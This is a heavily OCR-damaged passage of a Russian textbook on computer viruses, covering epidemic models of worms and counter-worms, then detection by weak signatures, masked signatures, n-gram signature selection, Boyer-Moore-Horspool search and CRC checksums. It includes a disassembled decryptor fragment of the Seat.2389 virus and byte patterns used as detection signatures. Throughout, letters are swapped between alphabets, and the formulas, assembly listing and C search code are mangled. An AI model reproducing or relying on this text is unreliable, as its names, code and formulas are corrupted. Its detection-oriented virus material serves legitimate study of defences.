ронн «Р1КУ-», «А51КУ-» и «АР51 ЯУ-контрчервей» соответственно.

1 Модели без «КУ» не рассматриваются, так как они не гарантируют победи 
«контрчервя».
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Рис. 7.22 ❖ Кривие размножения сетевихчервей, 
подавляемих «контрчервями»

Все перечисленнне разновидности «контрчервя», согласно резуль- 
татам моделирования, успешно справляются со своей задачей -  по- 
давлением эпидемии -«плохого» червя.

Можно отметить, что весьма эффективен сверхагрессивньш вари- 
ант «АР51КУ». Его основной недостаток -  экстремальное исполь- 
зование сетевнх ресурсов: трафика, оперативной памяти и процес- 
сорного времени узлов. Кроме того, на начальннх стадиях развития 
эпидемии «контрчервь» не мешает достигнуть своему сопернику поч- 
ти 50% зараженного адресного пространства.

Вариант « РIК V» на начальннх стадиях развития эпидемии работа- 
ет очень вяло, эффект его начинает проявляться лишь после того, как 
«шгохой» червь заражает почти 90% узлов сети. Зато потом «контр- 
червь» довольно бнстро наверстнвает зтпушенное, обходясь при этом 
приемлемо малнм количеством сетевих ресурсов.

Вариант «А51КУ» занимает промежуточное положение.
Если судить по рисунку, то эффективнее всего работает «адрес- 

ное» лечение, соответствуюшее 51К-модели: эпидемия «плохого» 
червя постоянно находится под контролем. Вьгходит, оно эффектив- 
нее, чем применение самих агрессивннх «контрчервей»? Конечно же 
нет. Надо иметь в виду, что наше сравнение эффектов 51К-модели и 
«контрчервей» не совсем корректно. В реальности величина «скоро- 
сти излечения» у для 51К-модели имеет значение, на порядок мень-
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шую, чем для любого «контрчервя», ведь все операции по скачиванию 
и установке «заплатки> приходится вмполнять вручную. Уравнять 
шансн позволило бн применение схем «АКУ» и сРК.У», предусмат- 
риваювдих автоматическое обнаружение и обезвреживание «зараз- 
ннх» узлов сети [70].

7.3.2. Эпидемии почтовмх червей, файловмх 
и загрузочнмх вирусов
Модели «медленннх» эпидемий, внзнваемнх почтовнми червями и 
файловнми вирусами, имеют свои особенности.

Во-первнх, в их основе лежат графн так назнваемого «безмас- 
штабного» («зса1е-£гее») вида. Это графн, для которнх лишь немно- 
гие узлн имеют большое количество соседей. И наоборот, степень ос- 
новной массн узлов невелика. Считается, что граф «безмасштабен», 
если доля Рк = Мк/М  его узлов со степенью к примерно равна Рк ~ к"<, 
где 2 < у < 3. На рис. 7.23 лишь один узел имеет четнрех и один -  трех, 
зато все остальнне -  по единственному соседу. Обнчно графн такого 
типа напоминают «лес» с многочисленннми деревьями, растушими 
из небольшого количества обгцих корней.

Рис. 7.23 ❖ Пример 
«безмасштабной» сети

Это означает, что возможности вирусов к распространению очень 
ограниченн. Вирус, находяшийся в узле «А», не может наирямую 
попасть в узел «С», ему необходимо сначала перенестись в узел «В» 
и т. д. -  проследовать по всей цепочке узлов, ведуших к цели. А на 
«гомогенном» графе червю для этого потребовался бн всего один 
прнжок. Кроме того, на «гомогенном» графе черви, находяшиеся в 
любом узле сети, имели возможность рассилать свои копии вплоть до 
полного исчерпания незараженного адресного пространства. На «без- 
масштабном» же графе экземпляр вируса, заразив всех своих соседей, 
теряет способность к распространению.
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Вторая особенность -  очень маленькое значение коэффициента р. 
По личному опмту, интервал времени между двумя актами перено- 
са файлового или загрузочного вируса с машинн на машину может 
составлять несколько месяцев или даже лет. Впрочем, для почтовнх 
червей типичное значение этого коэффициента сувдественно внше -  
до нескольких десятков и даже сотен копий в сутки.

Наконец, последняя важная особенность -  неприменимость по- 
нятия «вакцинирования» к лечению файловой «заразн». Обработка 
компьютера антивирусннм сканером и восстановление первоначаль- 
ного состояния зараженннх программ еаде не означают невозможно- 
сти повторного заноса этого же вируса на этот же компьютер.

Впрочем, все перечисленнне особенности характернн более для 
1990-х годов -  эпохи дискет и антивирусного сканера А^зТез!;. В со- 
временннх условиях они влияют на распространение файловнх и за- 
грузочннх вирусов все меньше и меньше. Ведь вирусн вполне могут 
разноситься по миру при помоши интернет-червей в условиях «гомо- 
генности» сети и большого значения р. А применение антивирусннх 
мониторов, постоянно находяшихся в памяти и блокируюших про- 
никновение «заразн» на компьютер при помоши съемннх носителей, 
эквивалентно наличию иммунитета протнв вируса.

'1'ем не менее определенная актуальность у моделей, учитнваклцих 
перечисленнне особенности, все-таки остается.

Аналитическое исследование распространения вирусов «класси- 
ческих» типов очень затруднено, поэтому чагце всего используется 
имитационное моделирование. Например, в работе К. РазЮг-Заюггаз 
«Распространение эпидемий в безмасштабннх сетях» приводятся ре- 
зультатн статистических экспериментов для 1 0  различннх вариантов 
сетей с размерами от 1000 до 8  500 000 узлов и со 100 различньши 
начальньши размешениями вирусов в узлах [54]. А в работе ^ а з т т  
ЬеуеШе «Распространение эпидемий в технологических сетях» [48] -  
на 1 0 0 0  различнмх случайнък конфигурациях «безмасштабннх» се- 
тей с количествами узлов от 6250 до 100 000 и различннми соотно- 
шениями р -  у/р.

Внводн таковн. На первом этапе развития эпидемии «зараза» еше 
не обнаруживается ни антивирусннми сканерами, ни мониторами, 
и размножается в соответствии с 51-моделью по логистической кри- 
вой с малнм коэффициентом р.

После того как антивируснне средства начинают распознавать 
вирус, начинается стадия подавления эпидемии. Несмотря на то что 
суть этого этапа может бнть огшсана классической 515-моделью,
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«безмасштабность» графа вносит свои коррективм. Прежде всего это 
независимость итогового результата от величинм «эпидемического 
порога» р0. Количество зараженннх машин всегда, при любом отно- 
шении р = у/Р, асимптотически стремится не к некоему промежуточ- 
ному значению, а к нулю.

Это обстоятельство подтверждается и результатами имитацион- 
ного моделирования, и статистическими исследованиями жизнен- 
ного цикла 814 вирусннх семейств различннх типов на протяжении 
50 месяцев в 1996-2000 годах, проведенннми К. РазГог-ЗаИоггак и 
А. Уевр^пап! [54]. На обоих рисунках по горизонтали отложен срок 
сушествования вируса в «дикой природе», по вертикали -  вероят- 
ность «внжить».

Рис. 7.24 ❖ Характеристики жизненного цикла 
«классических» вирусов: а) результатм моделирования;

б) результатьй мониторинга
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Таким образом, при правильном лечении победа над «классически- 
ми» вирусами достигается всегда. Чем же объясняются их крупно- 
масштабнме эпидемии, не имеклцие, казалось бм, шансов на широкое 
распространение?

Определяювдую роль в возникновении эпидемий играет исход- 
ное количество / 0 заражеиннх машин. Чавде всего крупнне эпидемии 
•«классических» вирусов начинались с массовмх расснлок заражен- 
нмх носителей (например, можно вспомнить загрузочньш вирус 
М1сЬе1ап§е1о в 1992 году) или заражения содержимого обшедоступ- 
ннх ВВ5, конференций, файловнх архивов (как это бнло в случаях 
с вирусами \Уш9Х.С1Н в 1998 году и \Уш32.ҒипЬоуе в 2000 году).

Другой важньга фактор -  продолжительность и «латентного» эта- 
па. Некоторме крупнне эпидемии характеризовались весьма длитель- 
ннми -  до года и дольше! -  задержка\ш между появлением вируса в 
«дикой природе» и обнаружением его вирусологами. Это характерно 
не только для 1980-х годов (загрузочньш вирус Вгаш), но и для на- 
ших дней (вирус \Ут32.1ш1ис).

Итак, крупнне эпидемии «классических» вирусов -  не закономер- 
ность, а результат удачного (для вируса) стечения обстоятельств.

7.3.3. Эпидемии мобильнмх червей
Мобильнне черви используют различнне методн распространения, 
соответственно, к моделированию эпидемий применимм несколько 
подходов. Например, эпидемии червей семейства Соптаг, распро- 
страняюшихся «с номера на номер», практически ничем не отличают- 
ся от эпидемий интернет-червей на «гомогенном» графе контактов.

Наиболее сложньш и интересннм представляется изучение эпиде- 
мий червей, распространяюшихся на небольшие расстояния при по- 
мо1ци беспроводннх интерфейсов типа \У1Ғ1 или В1ие1оо1;Ь (напри- 
мер, СаЬй-). Сети, характеризуюгдие систему связей в этом случае, 
назьшаются «специальнмми» («ас! Ьос>>). Если посмотреть на такую 
сеть, то в ней можно обнаружить и локальнне участки с почти «гомо- 
генной» структурой (так назнваемьхе «теснне мирн -  5та11 \¥ог1ск»), 
и фрагмента, построеннне по «безмасштабннм» правилам, и цепоч- 
ки узлов, и петли, и многие другие структурн, которнм еше не приду- 
мали названия. Следует также иметь в виду, что топология сети изме- 
няется во времени: отдельнне ребра пропадают, другие появляются.

Наиболее близкими абстракциями для подобннх сетей являются 
так назнваемне «случайнне» графн: случайний граф Радо (ККС) и 
граф со случайной геометрией (КСС). Они различаются методами 
построения.
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а б

Рис. 7 .25  ❖ Случайнме графм:
а) «геометрический» граф; б) граф Радо

В построении графа со случайной геометрией участвуют «коорди- 
натм» узлов. Например, если считать, что граф размевден в единич- 
ном квадрате, тогда каждому узлу приписмваются координатм, пред- 
ставляюшие собой равномерно распределеннме на интервале [0 ..1  ] 
случайнне величинм. Затем для каждой парм узлов с индексами г и 
; рассчитмвается «расстояние» и ребро между узлами проводится 
в том случае, если расстояние между ними не превьниает заранее на- 
значенного «радиуса» г0. Особенностью топологии подобнмх графов 
является значительное количество «тесннх миров».

Случайньш граф Радо получается из «полного» графа, каждое реб- 
ро которого остается с заранее внбранной вероятностьюр и удаляет- 
ся с вероятностью 1 -  р.

Как аналитические расчеть1 , так и результатн имитационннх экс- 
периментов показьшают, что по своим свойствам «случайнне» графн 
занимают промежуточное положение между «гомогенннми» и «без- 
масштабннми».

В частности, эпидемии 513-типа характеризуются наличием некое- 
го уровня равновесия (ес]и1НЬпит), к которому асимптотически стре- 
мится по логистической кривой количество инфицированньк узлов. 
Чем больше средняя степень вершин узла к, тем ближе этот уровень 
к своему аналогу, характеризуюшему эпидемию в «гомогенннх» сетях. 
На рис. 7.26а приведенн результать1 моделирования для трех типов 
ККС-сетей, состояших из 1 0  0 0 0  узлов: 1 ) для сети с «гомогенной» 
структурой; 2 ) для случайной сети с к = 8 ; 3) для случайной сети ск = 2.

Эпидемии 51К-типа ведут себя примерно так же, как и на «гомо- 
генннх» сетях: наблюдается кратковременньш всплеск количества 
зараженннх машин 1(1), которнй сменяется асимптотическим спадом 
вплоть до 0 . Экспериментн (проведеннме Ма21г Мекоуее на случай- 
ннх сетях из 10 000 узлов [53]) продемонстрировали, что в сетях с то-
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Рис. 7 .2 6  ❖ Результать! моделирования эпидемий 
в «ас11юс»-сетях: а) 813-модель (по ̂  О. КерИаг! [44]);

б) 31Я-модель (по М. №ко7ее [53])

пологией КЯС эпидемии мобильннх вирусов должнм протекать бо- 
лее «остро», но завершаться бмстрее, чем на сетях с топологией КСС.

Каких-либо достоверньге данньге о протекании реальннх эпидемий 
среди мобильннх телефонов, планшетников и нетбуков в открнтом 
доступе пока нет, поэтому проверить адекватность рассмотренннх 
моделей не представляется возможньш.

7.4. Обнаружение вирусов
-  ..Л-надо учиться, а т-то вся этпа м-магия 
слова, с-старье, ф-фокуси-покуси с п-психо- 
полями, п-примитив... Д-дедовские п-прием- 
чики...

А. и Б. Стругацкие. 
«Понедельник начинается в субботу»

В первой главе книш бнли кратко рассмотренн различнне типн 
антивирусннх программ: сканерн, фаги, инспекторн, мониторн, вак-



Обнаружение вирусов ❖ 5133

цинаторм и прочие. Принцип действия большинства из них основан 
на детектировании (обнаружении) вирусов. Целью детектирования 
является разбиение всех программ, попавших в поле зрения антиви- 
руса, на два класса:

О «здоровьге»;
О «больнме», то есть либо зараженнме вирусом, либо представ- 

ляюшие собой вирус рег &е.
В обшем случае процедуру детектирования вирусов можно разде- 

лить на следуюшие этапм (см. рис. 7.27).

Программэ ■ Вьшеление и сбор Обработка и
хзрактеристик анализ ►Вмаодь!

Рис. 7.27 ❖ Этапм процедурь! детектирования вирусов

Методм этапа, предназначенного для внделения и сбора характе- 
ристик «подозрительной >> программн, целесообразно разделить на: 

О  статические -  оперируюшие с двоичннм образом программн 
на носителе информации или в памяти;

О динамические -  рассматриваюшие программу как процесс вн- 
полнения алгоритма, то есть как последовательную смену со- 
стояний.

В свою очередь, методн этапа, посвяшенного обработке данннх и 
анализу характеристик, принято разделять на:

О формальнне -  оперирукмцие фиксированной моделью вируса 
и используюшие заранее определеннне алгоритмн;

О эвристические -  пьггаюшиеся воспроизвести процесс позна- 
ния, присувдий человеку.

Далее буд\т рассмотренн типичнне комбинации методов, исполь- 
зуемнх на разннх этапах процедурн детектирования компьютерннх 
вирусов.

7.4.1. Анализ косвеннмх признаков
Наиболее примитивнне методн обнаружения вирусов основанн на 
изучении косвенннх признаков («слабьк сигнатур»), характеризую- 
ших зараженность. Как правило, проверка наличия или отсугствия 
этих признаков возможна либо «на глазок», либо с применением 
штатнмх утилит операционной системн.

Примерами подобннх признаков являются отличительнне мет- 
ки, проставляемне внутри зараженньтх программ самими вируса-
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ми: строчка «МзЭоз» в конце файла (вирусм семейства Д е г и 8 а 1 е т );  
значение «62 секундм» в атриб}те времени последнего доступа к 
файлу (вируси семейства У 1 еп п а ); байт со значение.м 55Ь перед РЕ- 
заголовком (вирус \¥т9Х.С1Н) и прочие. Другими косвеннмми при- 
знаками могут служить нетрадиционная структура программм (на- 
пример, наличие нескольких кодовмх сегментов в РЕ-модуле), бит 
разрешения записи в кодовмй сегмент, «свежая» дата создания у за- 
ведомо «несвежего» файла и т. п.

Кроме того, большое количество косвенннх признаков можно об- 
наружить, сканируя код профам\ш на характернме фрагментн. На- 
пример:

О байт Е9Ь в начале СОМ-файлов соответствует команде «  ̂МР» 
и может свидетельствовать о зараженности ее «стандартньш» 
методом;

О цепочка байтов Е80000Ь или Е8000000Ь в начале программн 
может означать попьггку внчислить «дельта-смешение»;

О  команда «МОУ АН, 4СЬ» (константа 4СВ4Ь) помогает вирусу 
искать файлн в каталоге, а «СМР АХ, ‘М2’» (цепочка байтов 
ЗОЬ 404 5АЬ) -  различать СОМ- и ЕХЕ-программн;

О константа 0ЕВВ88320Ь часто используется при расчете 
СКС-32, а константн типа 553В5С78Ь или 0АЕ17ЕВЕҒЬ 
встречаются в вирусах, шцуших в таблицах экспорта адреса 
функций СгеаСеҒИеА и Ғ1псЗҒ 1гз1:Ғ 11 еА по контрольнмм сум- 
мам их имен;

О и т. п.
Разумеется, однозначнь1м признаком зараженности «слабне сиг- 

натурн» служить никоим образом не могут и не должнн. В качестве 
примера, подтверждаюхцего этот тезис, можно вспомнить историю, 
произошедшую в конце 1980-х годов. Один из популярннх «импорт- 
ннх» антивирусов -  программа ТМТУҒКУЗ -  «вакцинировал» все 
программн на диске, записьшая в конец строчку «МзОоз», чтобн 
вирус ̂ егихакш считал их уже зараженньши и не трогал. Другой же 
«антивирус», отечественннй АКТ1КОТ, «лечил» файлн, распознавая 
наличие в них вируса исключительно по строчке «МзГЗоз». Нетрудно 
догадаться, к чему приводило массовое «лечение» ранее вакциниро- 
ванннх программ.

Тем не менее контроль «слабнх сигнатур» до сих пор остается на 
вооружении вирусологов -  как один из методов эвристического ана- 
лиза. Более подробно этот вопрос будет рассмотрен дальше.
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7.4.2. Простие сигнатурм
Наиболее популярннм методом детектирования вредоносних про- 
грамм яв.тается проверка сигнатур. Под сигматурой понимается: фраг- 
мент (или набор фрагментов), которьш всегда встречается в конкрет- 
ном вирусе и никогда -  в иннх программах (в том числе и в других 
вирусах). Сигнатури используются для детектирования вредоносннх 
программ, сохраняюших свой код постоянньш от копии к копии. Кро- 
ме того, сигнатурньш поиск можно применить и для поиска некоторнх 
разновидностей полиморфннх вирусов. Единственная разновидность 
вирусов, к которой совсем не применимо сигнатурное детектирова- 
ние, -  это «метаморфн», то есть вирусн, используюшие идеи заменн и 
пермутации (перемешивания) команд для всего своего тела.

В идеале сигнатура должна включать в себя всю постоянную часть 
вируса, но на практике -  для минимизации требуемой памяти и уско- 
рения поиска в файле -  используются сравнительно короткие цепоч- 
ки байтов, состоявдие из нескольких отрезков.

В обшем случае сигнатура 5 может бнть представлена в виде мно- 
жества троек:

где >' -  номер отрезка сигнатурь1 (если она состоит из нескольких ча- 
стей); С, -  значение отрезка; Р{ -  позиция отрезка; Т% -  шаг трассиров- 
ки, на котором необходимо контролировать отрезок. То есть три раз- 
личннх компонента сигнатурн отвечают на вопросн «что», «где» и 
«когда». Разумеется, в составе сигнатурн могут встречаться и другие 
компонентн вспомогательного назначения. В частности, это может 
бьггь признак: откуда отсчитнвать смешение фрагмента -  от начала 
файла, конца файла или точки входа в программу. Впрочем, этот при- 
знак тоже отвечает на вопрос «где».

Дабн проиллюстрировать сказанное, составим сигнатуру для 
вируса 8еак.2389, упомянутого ранее в разделе про полиморфнне 
М5-В05-вирусн. (Там же можно найти и листинги двух «мутаций»), 
Напомним, это бнл «олигоморфньсй » вирус, шифровавший тело с пе- 
ременньш ключом и видоизменявший фрагмент расшифровки от ко- 
пии к копии. Во фрагменте расшифровки переменннми бнли только 
имена регистров и ключ шифрования-расшифровнвания, обшая же 
структура цикла оставалась постоянной.
? ?  73 00 Моу' регис.тр1, 73(1
?? 4 ‘ 09 поу оегистрг, 941П
8В 9? иоу сх, оегиетр 2
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2Е 80 ?? 9Е ҒҒ ???? 
??
Е2 Ғ7

операция о з : [регистр1+9ЕЬ], ключ 
1 пс регистр1 
1оор $-0Ай

; Эта часть появляетсв только пооле расшифровки
1Е
0Е
Ғ8 о1о

1П1:

риз(1 сз 
риз(1 сз

В8 ҒВ ОҒ ах, ОҒҒВп 
21МСО 21

Это обстоятельство дает возможность составить сигнатуру, состоя- 
шую из двух отрезков длиной, например, по 6  байтов каждьш.
8(8ЕАТ.2389) = < ?? 73П 00 ?? 41Ь 09Ь, 0, 0 > , < 1ЕП ОЕП Ғ8П В8й ҒВП ОҒИ, 11(1. 15 >

Первьгй отрезок всегда присутствует в файле и памяти по нулево- 
му смевдению от начала вируса -  то есть от той точки, куда вирус пе- 
редает управление командой <^МР». В этом фрагменте встречаются 
как переменнне, так и постояннме участки, поэтому для описания по- 
следовательности байтов используются символн-джокерн «?». Такие 
«прернвистне» сигнатурн иногда назнвают масками.

Второй отрезок изначально зашифрован с переменньш ключом. 
Но поскольку инициализация цикла вьшолняется тремя команда- 
ми и сам цикл тоже состоит из трех команд, повторяюшихся 941Ь = 
= 2369 раз, то после вьшолнения 3 + 3 * 2369 = 7110 вирусннх команд 
в памяти окажется полностью расшифрованньш образ вируса, в ко- 
тором (начиная со смешения 1 1 Ь) можно обнаружить второй отрезок 
сигнатурн. Впрочем, для расшифровки первнх 6 байтов основного 
тела достаточно внполнить не 7110, а всего лишь3 + 3* 4 = 1 5  команд. 
Обьгчно это делается путем моделирования работн программн в эму- 
ляторе, являюшемся частью антивируса.

В реальннх антивирусннх программах обнчно используются бо- 
лее простне вариантн сигнат>ф, являюшиеся частньши случаями вн- 
шеописанной структурн.

Например, часто принимаемое предположение, что все сигнатурн 
состоят только из одного отрезка, начинаются по одному и тому же 
смешению (например, нулевому) и имеют одну и ту же длину (напри- 
мер, 64 байта), позволяет сильно упростить внборку сигнатур из базн 
данньхх и сушественно ускорить процедуру сканирования файлов. 
Правда, такой подход не позволит различать вирусн, содержашие в 
одном и том же месте одинаковне фрагментн (что не редкость).

Если детектируются только неполиморфнне вирусн, то в сигна- 
т>’ру можно не включать компонент «когда» и анализировать только 
статичньш образ программн.
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Можно обойтись и без компонента «где». Самне ранние образцн 
антивирусов, датированнне второй половиной 1980-х, подчас занима- 
лись глобальньш поиском образцов вирусного кода в подозрительннх 
файлах -  без учета их внутренней структурн. Примерно так же при- 
ходится поступать и современньш антивирусам при детектировании 
«заразн», используюшей технологию ЕРО (Еп1 гу Ротг ОЬзсигес!).

Итак, обязательннм для сигнатурн является только компонент 
«что». Но каким он должен бнть? Как внбрать «правильную» сигна- 
туру, которая однозначно характеризовала бн вирус и не встречалась 
более нигде?

Лет 15-20 назад, когда вирусов бьшо мало, вирусолог мог позво- 
лить себе твдательно изучить код очередного представителя «элект- 
ронной фаунн» и внбрать оптимальннй вариант сигнатурн. Пример 
подобного подхода можно найти в главе, посвяшенной загрузочньш 
вирусам: мн использовали в качестве сигнатурн вируса 5(:опе<Е 
АпйЕХЕ «узловой» фрагмент кода, что позволило антивирусу раз- 
личать «здоровне», «больнне» и «вьшеченнме» секторн и участки 
памяти. В современннх условиях такой подход трудноприменим, так 
как, например, дежурной смене «дятлов» (как в Лаборатории Каспер- 
ского величают вирусннх аналитиков) приходится ежедневно иметь 
дело с сотнями и тнсячами новнх вирусов и троянских программ! Су- 
Шествует потребность в алгоритмах, позволяювдих автоматизировать 
процесс внбора «хороших» сигнатур.

И такие алгоритмн есть. Например, можно вести большую базу 
данннх со всевозможньши сигнатурами всевозможннх вирусов, а 
также наиболее типичннх прикладннх и систе.мннх программ. Тогда 
в качестве «хорошей» сигнатурн вируса можно внбиратъ любую це- 
почку его байтов, не встретившуюся в этой базе. Но, с одной сторонн, 
такая база будет очень велика. С другой -  нет никакой гарантии, что 
эта сигнатура не встретится в какой-нибудь прикладной программе, 
отсутствуювдей в базе. Как, например, произошло в 2011 г. с антиви- 
русом Ашга, которнй случайно внес в свои антивируснне базн сигна- 
туру, характерную для программного когда... антивируса А\чга.

Более корректньт алгоритм внбора «хороших» сигнатур в 1994 го- 
ду обнародовали сотрудники 1ВМ Дж. Кепхарт и В. Арнольд [43]. 
Предположим, что стоит задача внбора сигнатурн В = В1В2...В5 дли- 
ной 5 байтов для вредоносной программн с постоянннм фрагментом 
длиной (2- Нетрудно сообразить, что всего возможно ()5 = () -  5' + 1 
различннх вариантов сигнатурн. Какой из них -  лучший? Очевидно, 
тот, которнй не встречается ни в других вирусах, ни в «нормальннх»
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программах, и вероятность появления его в пока еше не написанньхх 
программах тоже невелика.

Для того чтобн оценить эту вероятность, сигнатуру рассматривают 
как совокупность из 5  — п + 1  всевозможннх непрерьшнмх цепочек 
длиной по п байтов -  так назнваемнх п-грамм. Например, в сигна- 
туре В  = В^В^В^В^В^ можно внделить три 3-граммн: В,В2Л3, В^В3ВА и 
В3В4В5. Очевидно, что сигнатура, состоявдая из «типичннх» и-грамм, 
хуже сигнатурн, состоявдей из «редких» п-грамм. Ее использова- 
ние в антивирусе может приводить к ложньш срабатнваниям (£а1зе 
ро51Й\'ез). Например, 2-грамма «М2» характерна не только для сете- 
внх червей, но и для любнх ЕХЕ-программ, и поэтому использовать 
ее в составе сигнатурн нежелательно.

Чтобн оценить «типичность» п-грамм сигнатурн, создают «тесто- 
внй корпус» -  огромньш файл длиной Т байтов, составленньш изо 
всех известннх вирусов и большого числа типичннх «нормальннх» 
программ: компонентов операционннх систем, системннх библио- 
тек, утилит, приложений и т. п. Методика предусматривает поиск 
каждой из и-грамм сигнатурн в «тестовом корпусе» и подсчет коли- 
чества /(Й 1Б2...В„) находок. Приблизительно оценить вероятность по- 
явления сигнатурн В в файле, не входявдем в состав «корпуса», мож- 
но по формуле:
п(ВВ £ \ К А В 2.. .В „ ) / (В А -В ^ ).../(Қ-„.,В,уя̂ ...В,)
Л  2 " ■ !(В,В,...Вп ) /(« А ~ Д .и  )..../(йл_,к1й 4 „(,...й,„, )(5  -  Й + 1) ■

В качестве «хороших» отбираются сигнатурн, у которнх эта веро- 
ятность минимальна.

Вместе с ростом п не только становится более точной оценка ве- 
роятности р(В1В2...В5), но и возрастают затратн внчислительннх 
ресурсов. В середине 1990-х годов специалистн из 1ВМ эксперимен- 
тировали с 3-граммами и сигнатурами длиной от 12 до 24 байтов. 
В материалах фирмн 5утапГ.ес, датированннх 2009 г., сообшается 
о 5-граммах, 48-байтовнх сигнатурах и упрошенннх вариантах фор- 
мулн расчета вероятности [40].

Еше одна проблема связана с поиском в файле сигнатурн для ви- 
русов, не имеюших постоянной точки входа. Сутдествуют алгоритмн, 
позволяюшие несколько ускорить процедуру глобального поиска [ 2 1  ].

Проиллюстрируем идею одного из таких алгоритмов -  Бойера- 
Мура-Хорспула -  на примере поиска образца «ЛОМ» в строке «ГО- 
ЛОВОЛОМКА». Она (идея) заключается в том, чтобн вьшолнять 
сравнение данннх с образцом, начиная с его (образца) последней бук-
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вм -  справа налево. Если расхождений не обнаружено, значит, обра- 
зец в наборе найден. В противном случае (то есть если в какой-нибудь 
букве расхождение все-таки возникло) возможнн две принципиаль- 
но различнне ситуации.

Первая ситуация возникает, когда в образце уже имеются буквьт, 
равнне той, которая в этот момент находится напротив «хвоста» об- 
разца (например, несколько букв «Л», как на первом шаге поиска, 
или несколько «О», как на третьем шаге). В этом случае необходимо 
сдвигать образец таким образом, чтобн напротив этой буквн строки 
оказалась «предпоследняя» в образце такая же буква (то есть напро- 
тив 3-й буквн строки -  первая буква образца).

Вторая ситуация соответствует случаю, когда такая буква не встре- 
чается в образце. Следовательно, можно смело сдвигать образец на 
полную его длину -  на 3 элемента (см. ситуацию на втором шаге срав- 
нения).

Для повншения эффективности реализации этого алгоритма 
перед началом поиска для каждого вида элементов, которне могут 
встретиться в наборе данннх, создается индекс -  число позиций, на 
которое нужно сдвигать образец. Все индексн помевдаются в обшую 
таблицу и используются в процессе поиска. Для рассматриваемого 
примера в таблице для большинства букв должно находиться значе- 
ние 3 , для буквн «О» -  1 , а для буквьг «Л«- 2 .
1пт ат(1_зеагсп( спаг  *з, п, с^аг *р, ш т  ш ) {
1пТ: г[256]. 1 , ] ,  к;
/* Подготовка таблиц» •/
*ог (1=0; К 2 5 6 ,■!++) т [ 1 ]=ш; Гог (1=т-2; 1>=0; 1 - - )  г[р[ 1 ]]=т-1-1;
/« Собственно поиок */
1 =га-1 ;
«П11е ( 1<") { 

к=1 ; 1=т-1;
«пие (.1 > =0) {

гГоГл! оШТо! л  1оГмГк 1 а

1лТо!м
'п17чТтТоТм!

Рис. 7.28 ❖ Работа алгоритма 
Бойера-Мура-Хорспула
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I? (з [х ] != р []])  Ьгеак;
1--;

I
И  ( з < 0 )  гегигл 1+1 ; ,// Позиция совпадвния
1=к+1:[з[к]];

}
геЪигп -1; / /  Нимего не найдено

Алгоритм Бойера-Мура-Хорспула работает тем эффективнее, чем 
более длиннме образцн предлагаются ему для поиска. Альтернативой 
этому алгоритму может служить алгоритм Кн\та-Морриса-Пратта. 
Если же речь идет о поиске целого семейства частично пересекаю- 
вдихся сигнатур, то лучше использовать алгоритм Ахо-Корасик.

Основной недостаток сигнатурного детектирования -  неспособ- 
ность обнаружения чновнх», еше не изученньгх вирусов. Кроме того, 
неприятной особенностью сигнатурннх антивирусов является боль- 
шой объем справочннх данннх. Согласно материалам «Лаборатории 
Касперского», количество записей в антивирусннх базах растет по 
экспоненте.

Год

Рис. 7 .2 9  ❖ Рост объемов вирусних баз 
в Антивирусе Касперского

В предположении, что антивирус должен распознавать 10 млн вре- 
доносннх программ и использует сигнат>'рн длиной 10 байтов, ему 
потребуется не менее 100 Мб дисковой памяти.
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7.4.3. Контрольнме сумми
Сушественно уменьшить объемм требуемой памяти позволяет от- 
каз от сигнатур в пользу контрольнмх сумм. Контрольная сумма -  
результат применения к произвольному набору даннмх некой хеш- 
функции, рассчитьшаюшей короткий -«дайджест» постоянной длинм 
(например, всего 4 байта).

В базе даннмх антивируса можно хранить не сами сигнатурм, а их 
короткие контрольнме суммн. Такие же суммн рассчитьшаются «на 
лету» по содержимому тестируемнх файлов. Несовпадение хранимо- 
го образца с результатом расчета означает отсутствие соответствую- 
вдего вируса. А совпадение -  лишь очень внсокую (но не единич- 
ную!) вероятность заражения. Причина кроется в сути контрольннх 
сумм: они, как и любне другие хеш-функции, представляют собой 
отображение большого множества «обьектов>>-прообразов на малое 
множество «дайджестов»-образов. Соответственно, всегда возможна 
коллизия: несколько различннх «объектов» могут иметь одинаковне 
«дайджестн», в частности «плохие» контрольнне суммн мог\т ока- 
заться не только у зараженннх, но и у вполне «здоровнх» файлов.

Невнсокая вероятность коллизий и трудность их целенаправлен- 
ного генерирования -  суть критерии качества того или иного метода 
расчета контрольннх сумм. С этой точки зрения хороши так назн- 
ваемне «криптографические» хеш-функции: МБ5, ЗНА-1, К1РЕМО, 
ГОСТ 34.11-94 и др.’ К сожалению, эти алгоритмн довольно сложнн 
с внчислительной точки зрения и не способнн обеспечить внсокую 
скорость расчета контрольннх сумм. I Iоэтому на практике в антиви- 
русах нашли применение несколько менее стойкие к коллизиям, зато 
гораздо бнстрее внчислимне «технические» хеш-функции.

Профаммм Контрольньие

Коллизия

Рис. 7 .30  ❖ Сушность «коллизии»

1 В настоявдий момент сушествуют довольно трудоемкие, но вполне реаль- 
нме методм искусственнош создания коллизийдля МБ5.
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Чаше всего используются циклические иэбшгпочние кодь1 (СКС — 

сусНс гес1ипс1апсу сос!е). Метод использования основан на представле- 
нии блока данннх в виде непрермвного полинома с битовнми коэф- 
фициентами. В качестве контрольного кода используется остаток от 
деления этого полинома на более короткий «порождаюгций» полином, 
имеюший длину N битов. Техника деления такова: 1) в конец блока 
данннх добавляется N - 1  нулевнх битов; 2) вместо арифметического 
деления используется операция «сложение по модулю 2»; 3) сложе- 
ние с «левнми» нулями промежуточннх остатков не производится.

Пример. Исходнне даннне: 1010. «Порождаюший» полином: 1001. 
Дополнительнне битн: 000.
1010000 | 1001 
1001 

1100 
1001

1010
1001 

11 <- СНС

В качестве делителя внбираются не любне цепочки битов, а те 
из них, которне соответствуют «неприводимьш» (то есть не рас- 
кладнваемнм на сомножители) полиномам. Например, для СКС-16 
используются полиноми 0x1021 и 0x8005, а во многих стандартах 
связи для СКС-32 зафиксированн 0х04С1ШВ7 и его «зеркальное 
отражение» 0хЕБВ88320. Сравнительно недавние исследования по- 
казали внсокое качество полиномов 0х1ЕВС6Ғ41, 0х741В8СО7 и 
0Х814141АВ1. Кроме того, иногда применяются СКС-48 и СКС-64. 
Нередко в стандартах на методи внчисления СКС упоминаются до- 
полнительнне операции, такие как, например, инвертирование би- 
тов результата. Распознаюших свойств метода это не улучшает, но 
лишь упрошает аппаратную реализацию алгоритма в связном обо- 
рудовании.

Сушествуют как программнне реализации, основаннне непосред- 
ственно на делении «уголком» (пример на язнке Ассемблера можно 
найти в главе, посвяшенной \Ут32-вирусам), так и оптимизирован- 
нне по скорости -  благодаря сдвигу сразу на 8 битов и использова- 
нию таблицн корректируюших коэффициентов. Вот пример реали- 
зации для «бнстрого» вьгчисления СКС-32.

1 В записи всех полиномов опушен старший бит, котормй обязательно ра- 
вен 1.
